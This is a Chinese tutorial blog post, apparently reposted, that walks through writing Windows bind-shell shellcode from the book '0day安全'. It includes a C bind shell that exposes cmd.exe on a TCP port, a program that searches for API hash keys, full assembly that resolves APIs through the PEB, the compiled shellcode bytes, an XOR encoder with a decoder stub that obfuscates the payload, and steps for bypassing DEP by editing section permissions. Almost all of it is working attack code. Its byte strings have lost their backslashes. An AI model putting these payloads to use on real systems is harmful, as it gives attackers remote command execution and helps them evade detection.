我是靠谱客的博主 细心乌冬面,最近开发中收集的这篇文章主要介绍shellcode中变形bindshell的实现第一步:第二步:第三步:第四步:第五步:第六步:,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

最近学习《0day安全》一书 记录一下调试编码过程

书中环境XP VC6 本机的环境是server 2008 r2 x64  编译环境是vs2013 

 

第一步:

首先是写一个win c版本的bindshell 代码如下:

#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")


void main()
{
	//1.初始化一个socket服务
	WSADATA stWSA;
	WSAStartup(0x0202, &stWSA);
	SOCKET stListen = INVALID_ATOM;

	//2.创建一个原始套接字
	stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
	SOCKADDR_IN stService;
	stService.sin_addr.s_addr = INADDR_ANY;

	//3.在任意地址上绑定一个端口
	stService.sin_port = htons(1414);
	stService.sin_family = AF_INET;
	bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));

	//4.监听连接
	listen(stListen, SOMAXCONN);

	//5.接受一个连接
	stListen = accept(stListen, 0, 0);

	//6.创建一个cmd进程 并将其输入与输出重定位到我们创建的套节字上
	PROCESS_INFORMATION stPI = { 0 };
	STARTUPINFOA stSI = { 0 };
	stSI.cb = sizeof(stSI);
	stSI.wShowWindow = SW_HIDE;
	stSI.dwFlags = STARTF_USESTDHANDLES;
	stSI.hStdInput = (HANDLE)stListen;
	stSI.hStdError = (HANDLE)stListen;
	stSI.hStdOutput = (HANDLE)stListen;
	CreateProcessA(0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);

	//7.关闭相关句柄并释放相关资源
	CloseHandle(stPI.hProcess);
	CloseHandle(stPI.hThread);
	closesocket(stListen);
	WSACleanup();

	return;
}

一来可以看看怎么实现  需要用到哪些API  二来可以 后边与shellcode做的效果对比

需要用到的ws2_32中的API有 WSAStartup WSASocketA bind listen accept 

再加上shellcode框架所需的kernel32.dll中的API有 LoadLibraryA  CreateProcessA ExitProcess 一共8个函数

 

第二步:

取得这些函数名的hash摘要 用于后边寻找上边8个函数地址  具体方法原理 参考 

shellcode中动态定位API(https://blog.csdn.net/whatday/article/details/82827461)

这里值得注意的是 为了减少shellcode的代码量  把每个函数名的hash结果规定为一个字节 

一个字节最大有256个数 最多能分辨256个API 书中环境的kernel32.dll API数量900多个

虽会出现hash碰撞 但能找到合理的key 算出函数名称的hash  在shellcode中定位API时 第一个出现所需函数 从而得到函数地址

本机测试系统kernel32.dll中有1500多个 遍历0~0xff都无法找到一个key 让上边8个函数同时满足

所以修改为kernel32.dll为一个key ws2_32.dll为一个key 分别算出函数名对应的hash摘要 用到后边的shellcode定位中

由于手动尝试效率较低 顾写程序获得 代码如下:

#include<windows.h>
#include<stdio.h>


//得到API字符串的单字节hash摘要
unsigned char GetHash(char * fun_name, unsigned char cXor)
{
	unsigned char cValue;

	__asm
	{
		pushad
		pushfd
		mov esi,fun_name
		cdq
	hash_loop:
		lodsb
		xor al, cXor
		sub dl, al
		cmp al, cXor
		jne hash_loop
		mov cValue, dl
		popfd
		popad
	}

	return cValue;
}

void main()
{
	char listDllApi[][10][20] = {
		{ "kernel32.dll", "LoadLibraryA", "CreateProcessA", "ExitProcess" },
		{ "ws2_32.dll", "WSAStartup", "WSASocketA", "bind", "listen", "accept" } 
	};
	unsigned char cHash;
	ULONG ulDllBase = NULL, ulAddr=0, nCount=0;
	PCHAR pFunctionName = NULL;
	BOOL bFind=TRUE;

	for (int n = 0; n < _countof(listDllApi) ; n++)
	{
		for (int i = 0; i < 0xff; i++)
		{
			bFind = TRUE;
			for (int m = 0; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++)
			{
				if (m == 0)
				{
					ulDllBase = (ULONG)LoadLibraryA(listDllApi[n][m]);
					continue;
				}

				cHash = GetHash(listDllApi[n][m], i);
				ulAddr = *(PULONG)(ulDllBase + 0x3c);
				ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x78);
				nCount = *(PULONG)(ulDllBase + ulAddr + 0x14);
				ulAddr = *(PULONG)(ulDllBase + ulAddr + 0x20);
				for (int x = 0; x < nCount; x++)
				{
					pFunctionName = (PCHAR)(*(PULONG)(ulDllBase + ulAddr + 4 * x) + ulDllBase);
					if (GetHash(pFunctionName, i) == cHash)
					{
						break;
					}
				}
				if (strcmp(pFunctionName, listDllApi[n][m]) != 0)
				{
					bFind = FALSE;
					break;
				}
			}
			if (bFind)
			{
				printf("n%s find xor unsigned char : 0x%xn", listDllApi[n][0], i);
				for (int m = 1; m < _countof(listDllApi[n]) && strlen(listDllApi[n][m])>0; m++)
				{
					printf("%s hash key is:0x%xn", listDllApi[n][m], GetHash(listDllApi[n][m], i));
				}
			}
		}

	}
	getchar();
}

运行效果如下:

寻找到结果还有很多 这只是一部分 然后把8个api的值放入od中 看看汇编代码是什么  这里用到的思想是 代码是数据 数据是代码

这些值放在shellcode的最前边 用于后边定位API的hash比较的  执行他们不需要什么功能 只要不发生错误 不改变程序流程就行

经测试kernel32.dll使用0x39 对应API的hash摘要 LoadLibraryA:0x81   CreateProcessA:0xd9  ExitProcess:0x19 

ws2_32.dll使用0x6e 对应API的hash摘要 WSAStartup:0x18  WSASocketA:0x49  bind:0x75  listen:0x47  accept:0x26

这几个值放入OD中效果如图:

可以看到这几条汇编指令并不影响 程序的流程 最后的0x43是后边的数据

至此基本确定了dll api的hash摘要

 

第三步:

编写shellcode的汇编代码 具体如下:

__asm
	{
			// eax points here
			// function hashes (executable as nop-equivalent)
			_emit 0x81			// LoadLibraryA		// sbb     ecx, 0x75491819
			_emit 0xd9			// CreateProcessA	// ...
			_emit 0x19			// ExitProcess		// ...
			_emit 0x18			// WSAStartup		// ...
			_emit 0x49			// WSASocketA		// ...
			_emit 0x75			// bind			// ...
			_emit 0x47			// listen		// inc     edi
			_emit 0x26			// accept		// inc     ebx
								
			// CMd
			_emit 0x43			// inc ebx
			_emit 0x4d			// dec ebp
			_emit 0x64			// FS:

			// start of proper code
			cdq				// set dex=0 (eax points to stack so is less than 0x80000000)
			xchg	eax,esi			// esi = addr of first function hash
			lea edi, [esi-0x18]		// edi = addr of start writing function 
							// address (last addr will be written just before "cmd")

			// find base addr of kernel32.dll
			mov ebx, fs:[edx+0x30]	// ebx = address of PEB
			mov ecx, [ebx+0x0c]		// ecx = pointer to loader data
			mov ecx, [ecx+0x1c]		// ecx = first entry in initialisation order list
			mov ecx, [ecx]			// ecx = second entry in list kernelbase.dll
			mov ecx, [ecx]			// ecx = three entry in list kernel32.dll
			mov ebp, [ecx+0x08]		// ebp = base address of kernel32.dll

			// make some stack space
			mov dh,0x03			// sizeof(WSADATA) is 0x190
			sub esp,edx				

			// push a pointer to "ws2_32" onto stack
			mov dx,0x3233			// rest of edx is null
			push edx
			push 0x5f327377
			push esp

			// set hash key of kernel32.dll
			mov dh, 0x39

		find_lib_functions:
			lodsb				// load next hash into al and increment esi
			cmp al, 0x18			// hash of "WSAStartup" - trigger LoadLibrary("ws2_32")

			jne find_functions
			xchg eax,ebp			// save current hash
			call[edi - 0xc]			// LoadLibraryA
			xchg eax,ebp			// restore current hash, and update ebp
							// whith base address of ws2_32.dll 
			push edi			// save location of addr of first winsock function

			// set hash key of ws2_32.dll
			mov dh, 0x6e

		find_functions:
			pushad				// preserve registers
			mov eax, [ebp+0x3c]		// eax = start of PE header
			mov ecx, [ebp+eax+0x78]	// ecx = relative offset of export table
			add ecx,ebp			// ecx = absolute addr of export table
			mov ebx, [ecx+0x20]		// ebx = relative offset of names table
			add ebx,ebp			// ebx = absolute addr of names table
			xor edi,edi			// edi will count through the functions

		next_function_loop:
			inc edi				// increment function counter
			mov esi, [ebx+edi*4]		// esi = relative offset of current function name
			add esi,ebp			// esi = absolute addr of current function name
			xor dl,dl		

		hash_loop:
			lodsb				// load next char into al and increment esi
				xor al, dh		// xor current char with 0x70
				sub dl, al		// update hash with current char
				cmp al, dh		// loop until we reach end of string
				jne hash_loop
				cmp dl, [esp + 0x1c]		// compare to the requested hash (saved on stack from pushad)

				jnz next_function_loop

				//we now have the right function
				mov ebx, [ecx + 0x24]		// ebx = relative offset of ordinals table
				add ebx, ebp			// ebx = absolute addr of ordinals table
				mov di, [ebx + 2 * edi]		// di = ordinal number of matched function
				mov ebx, [ecx + 0x1c]		// ebx = relative offset of address table
				add ebx, ebp			// ebx = absolute addr of address table
				add ebp, [ebx + 4 * edi]	// add to ebp (base addr of module) the relative 
				// offset of matched function

				xchg eax, ebp			// move func addr into eax
				pop edi				// edi is last onto stack in pushad write 
				stosd				// functon addr to [edi] and increment edi

				push edi
				popad				// restore registers
				cmp esi, edi			// loop until we reach end of last hash
				jne find_lib_functions
				pop esi				// saved location of first winsock function
								// we will lodsd and call each func in sequence

				// initialize winsock
				push esp			// use stack for WSADATA
				push 0x02			// wVersionRequested
				lodsd
				call eax			// WSAStartup

				// null-terminate "cmd"
				mov byte ptr[esi + 0x13], al	// eax ==0 if WSAStartup() worked

				// clear some stack to use as NULL parameters
				lea ecx, [eax+0x30]		// sizeof(STARTUPINFO) = 0x44
				mov edi,esp
				rep stosd			// eax is still 0

				//create socket
				inc eax
				push eax			// type = 1 (SOCK_STREAM)
				inc eax
				push eax			// af = 2 (AF_INET)
				lodsd
				call eax			// WSASocketA
				xchg ebp,eax			// save SOCKET descriptor in ebp
								// (safe from being changed by remaining API calls)

				// push bind parameters
				mov eax, 0x0a1aff02		// ox1a0a = port 6666, 0x02 = AF_INET
				xor ah,ah			// remove the ff from eax
				push eax			// we use 0x0a1a0002 as both the name (strucht sockaddr)
								// and namelen (which only needs to be large enough)
				push esp			// pointer to our sockaddr struct

				// call bind(), linsten() and accept() in turn
				call_loop:
				push ebp			// save SOCKET descriptor (we implicitly pass NULL for all other params)

				lodsd
				call eax			// call the next function
				test eax,eax			// bind() and listen() return 0, 
								// accept() returns a SOCKET descriptor 
				jz call_loop

				// initialise a STARTUPINFO structrue at esp
				inc byte ptr[esp+0x2d]		// set STARTF_USERTDHANDLES to true
				sub edi,0x6c			// point edi at hStdInput in STARTUPINFO
				stosd				// use SOCKET descriptor returned by accept (still in eax)
								// as the stdin handle same for stdout 
				stosd				// same for stderr (optional)

				// create process
				pop eax				// set eax = 0 (STARTUPINFO now at esp+4)
				push esp			// use stack at PROCESSINFORMATION structure
								// (STARTUPINFO structrue)
				push esp			// STARTUPINFO structrue
				push eax			// lpCurrentDirectory = NULL
				push eax			// lpEnvironment = NULL
				push eax			// dwCreationFlags = NULL
				push 1				// bInheritHandles = TRUE
				push eax			// lpThreadAttributes = NULL
				push eax			// lpProcessAttributes = NULL
				push esi			// lpCommandLine = "cmd"
				push eax			// lpApplicationName = NULL
				call[esi-0x1c]			// CreateProcessA

				// call ExitProcess()
				call[esi-0x18]			//ExitProcess
	}

以上和书上不同处有几点

1.kenel32.dll和ws2_32.dll分别取了hash key 下边的各个函数分别用了2组hash key来计算hash摘要

2.PEB定位kernel32.dll基地址 当前系统是排在第三个 书上环境是排在第二个

3.CreateProcessA函数 参数 bInheritHandles = TRUE 经测试有效 如果为FALSE 无法测试通过

代码中的英文注释 和 shellcode中动态定位API(https://blog.csdn.net/whatday/article/details/82827461)都详解代码实现流程

 

第四步:

得到对应的十六进制代码 并放入shellcode加载框架

把以上代码放入vs编译后 EXE用OD打开 得到对应二进制码 在修改为VS中识别的十六进制码

具体如图:

截图只是一部分 二进制复制到editplus中 修改为vs中识别的十六进制

修改前后如图:

再使用shellcode通用加载框架 代码如下:

char sc[] =
"x81xD9x19x18x49x75x47x26x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69"
"x08xB6x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xB6x39xACx3Cx18x75x08x95xFFx57xF4x95x57xB6x6Ex60"
"x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x32xD2xACx32xC6x2AxD0x3AxC6x75"
"xF7x3Ax54x24x1Cx75xE9x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75"
"xB1x5Ex54x6Ax02xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32"
"xE4x50x54x55xADxFFxD0x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABx58x54x54x50x50x50x6Ax01x50x50x56x50"
"xFFx56xE4xFFx56xE8";

void main()
{
	__asm
	{
		lea eax, sc
		push eax
		ret
	}
}

编译前需要修改VS中的编译参数 去掉VS的栈溢出检查代码 具体如下:

这样一来编译出的执行文件就没有栈检查了 shellcode通用框架也可以使用了

 

第五步:

此时直接运行EXE还是会出错 经调试发现是内存权限问题 栈空间默认 没有执行和写的权限

原因在于vs2013工程默认开启了DEP 如图:

用LordPE Deluxe打开EXE 修改节区属性 修改前后如图

其实通过OD发现 栈空间其实在.data中 只需要修改.data就可以了 为了防止其他情况这里就全部修改了

Flags的E0000040 对应权限是:

修改后的EXE就可以正常运行了

测试机IP是 192.168.1.115 再测试机运行此EXE 

在其他机器 telnet 192.168.1.115 6666 效果如下:

至此shellcode版本的bindshell就实现了 但为了融合前边的变形技术 继续变形shellcode

 

第六步:

变形的原理是xor 然后把解密头 放在变形后的代码最前边 有点类似于壳中的技术

加解密代码如下:

//原始代码
char sc[] =
"x81xD9x19x18x49x75x47x26x43x4Dx64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69"
"x08xB6x03x2BxE2x66xBAx33x32x52x68x77x73x32x5Fx54xB6x39xACx3Cx18x75x08x95xFFx57xF4x95x57xB6x6Ex60"
"x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x32xD2xACx32xC6x2AxD0x3AxC6x75"
"xF7x3Ax54x24x1Cx75xE9x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75"
"xB1x5Ex54x6Ax02xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3xABx40x50x40x50xADxFFxD0x95xB8x02xFFx1Ax0Ax32"
"xE4x50x54x55xADxFFxD0x85xC0x74xF8xFEx44x24x2Dx83xEFx6CxABxABx58x54x54x50x50x50x6Ax01x50x50x56x50"
"xFFx56xE4xFFx56xE8";

//二进制加密函数 
void encoder(char * input, unsigned char key, int display_flag)
{
	int i = 0, len = 0;
	FILE * fp;
	unsigned char * output;
	len = strlen(input);
	output = (unsigned char *)malloc(len + 1);
	if (!output)
	{
		printf("memory erro!n");
		exit(0);
	}

	for (int i = 0; i < len; i++)
	{
		output[i] = input[i] ^ key;
	}
	
	if (!(fp = fopen("encode.txt", "w+")))
	{
		printf("output file create erro");
		exit(0);
	}
	fprintf(fp, """);
	for (i = 0; i < len; i++)
	{
		fprintf(fp, "\x%0.2x", output[i]);
		if ((i + 1) % 16 == 0)
		{
			fprintf(fp, ""n"");
		}
	}
	fprintf(fp, "";");
	fclose(fp);
	printf("dump the encode shellcode to encode.txt OK!n");
	if (display_flag)
	{
		for (i = 0; i < len; i++)
		{
			printf("%0.2x ", output[i]);
			if ((i + 1) % 16 == 0)
			{
				printf("n");
			}
		}
	}
	free(output);
}

encoder(sc, 0x41, 1);


//二进制解密函数
__asm
{
		add eax, 0x14
		xor ecx, ecx
	decode_loop :
		mov bl, [eax + ecx]
		xor bl, 0x41
		mov[eax + ecx], bl
		inc ecx
		cmp bl, 0x90
		jne decode_loop
}

运行加密函数得到encode.txt

把解密函数放到vs中 编译后在od中提取十六进制码 如下图

复制到editplus中修改为vs可用的十六进制码 如下图

把解密代码放到加密后的shellcode前 完整代码如下:

//带解密头的加密代码
char sc2[] =
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x41x88x1Cx08x41x80xFBx90x75xF1"
"xc0x98x58x59x08x34x06x67x02x0cx25xd8xd7xccx3fxa9"
"x25xcax1bx71xcax0ax4dxcax08x5dxcax48xcax48xcax28"
"x49xf7x42x6axa3x27xfbx72x73x13x29x36x32x73x1ex15"
"xf7x78xedx7dx59x34x49xd4xbex16xb5xd4x16xf7x2fx21"
"xcax04x7dxcax0dx44x39x42x8cxcax18x61x42x9cx72xbe"
"x06xcax75xfax42xb4x73x93xedx73x87x6bx91x7bx87x34"
"xb6x7bx15x65x5dx34xa8xcax18x65x42x9cx27xcax7dx3a"
"xcax18x5dx42x9cx42x6dxfaxd4x1exeax16x20x7axb6x34"
"xf0x1fx15x2bx43xecxbex91xc9x07x52xccx09x71xcaxbd"
"xb2xeax01x11x01x11xecxbex91xd4xf9x43xbex5bx4bx73"
"xa5x11x15x14xecxbex91xc4x81x35xb9xbfx05x65x6cxc2"
"xaex2dxeaxeax19x15x15x11x11x11x2bx40x11x11x17x11"
"xbex17xa5xbex17xa9";


void main()
{
	__asm
	{
		lea eax, sc2
		push eax
		ret
	}
}

此时编译EXE 修改节区权限 效果如先前 

这样从 API实现 到shellcode编写调试 到加密就完成了

 

最后

以上就是细心乌冬面为你收集整理的shellcode中变形bindshell的实现第一步:第二步:第三步:第四步:第五步:第六步:的全部内容,希望文章能够帮你解决shellcode中变形bindshell的实现第一步:第二步:第三步:第四步:第五步:第六步:所遇到的程序开发问题。

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